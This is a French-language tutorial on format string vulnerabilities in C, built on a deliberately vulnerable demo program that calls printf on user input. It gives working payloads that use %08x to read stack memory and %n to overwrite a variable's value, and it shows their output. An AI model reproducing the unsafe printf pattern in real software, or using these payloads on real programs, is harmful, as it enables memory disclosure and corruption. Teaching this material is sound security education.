Vous pouvez exploiter une vulnérabilité de type chaîne de format de plusieurs façons, directement ou indirectement. Prenons l'exemple suivant (en supposant qu'il n'y ait pas de protection du système d'exploitation, ce qui est de toute façon très rare) :
int main(int argc, char **argv)
{
char text[1024];
static int some_value = -72;
strcpy(text, argv[1]); /* ignore the buffer overflow here */
printf("This is how you print correctly:\n");
printf("%s", text);
printf("This is how not to print:\n");
printf(text);
printf("some_value @ 0x%08x = %d [0x%08x]", &some_value, some_value, some_value);
return(0);
}
La base de cette vulnérabilité est le comportement des fonctions avec des arguments variables. Une fonction qui implémente la gestion d'un nombre variable de paramètres doit les lire depuis la pile, essentiellement. Si nous spécifions une chaîne de format qui rendra printf()
attend deux entiers sur la pile, et nous ne fournissons qu'un seul paramètre, le second devra être quelque chose d'autre sur la pile. Par extension, et si nous avons le contrôle sur la chaîne de format, nous pouvons avoir les deux primitives les plus fondamentales :
Lecture d'adresses mémoire arbitraires
[EDIT] IMPORTANT : Je fais ici quelques suppositions sur la disposition de la trame de la pile. Vous pouvez les ignorer si vous comprenez le principe de base derrière la vulnérabilité, et elles varient selon le système d'exploitation, la plate-forme, le programme et la configuration de toute façon.
Il est possible d'utiliser le %s
pour lire les données. Vous pouvez lire les données de la chaîne de format originale en printf(text)
Vous pouvez donc l'utiliser pour lire n'importe quoi sur la pile :
./vulnerable AAAA%08x.%08x.%08x.%08x
This is how you print correctly:
AAAA%08x.%08x.%08x.%08x
This is how not to print:
AAAA.XXXXXXXX.XXXXXXXX.XXXXXXXX.41414141
some_value @ 0x08049794 = -72 [0xffffffb8]
Écriture à des adresses mémoire arbitraires
Vous pouvez utiliser le %n
pour écrire à une adresse arbitraire (ou presque). Encore une fois, supposons notre programme vulnérable ci-dessus, et essayons de changer la valeur de some_value
qui est situé à 0x08049794
comme indiqué ci-dessus :
./vulnerable $(printf "\x94\x97\x04\x08")%08x.%08x.%08x.%n
This is how you print correctly:
??%08x.%08x.%08x.%n
This is how not to print:
??XXXXXXXX.XXXXXXXX.XXXXXXXX.
some_value @ 0x08049794 = 31 [0x0000001f]
Nous avons écrasé some_value
avec le nombre d'octets écrits avant le %n
a été rencontré ( man printf
). Nous pouvons utiliser la chaîne de format elle-même, ou la largeur du champ pour contrôler cette valeur :
./vulnerable $(printf "\x94\x97\x04\x08")%x%x%x%n
This is how you print correctly:
??%x%x%x%n
This is how not to print:
??XXXXXXXXXXXXXXXXXXXXXXXX
some_value @ 0x08049794 = 21 [0x00000015]
Il existe de nombreuses possibilités et astuces à essayer (accès direct aux paramètres, grande largeur de champ rendant possible le wrap-around, construction de vos propres primitives), et ceci ne fait qu'effleurer la pointe de l'iceberg. Je vous suggère de lire plus d'articles sur les vulnérabilités des chaînes fmt (Phrack en a d'excellents, bien qu'ils soient un peu avancés) ou un livre qui traite du sujet.
Avertissement : les exemples sont tirés [mais pas textuellement] du livre. Piratage : L'art de l'exploitation (2e édition) par Jon Erickson.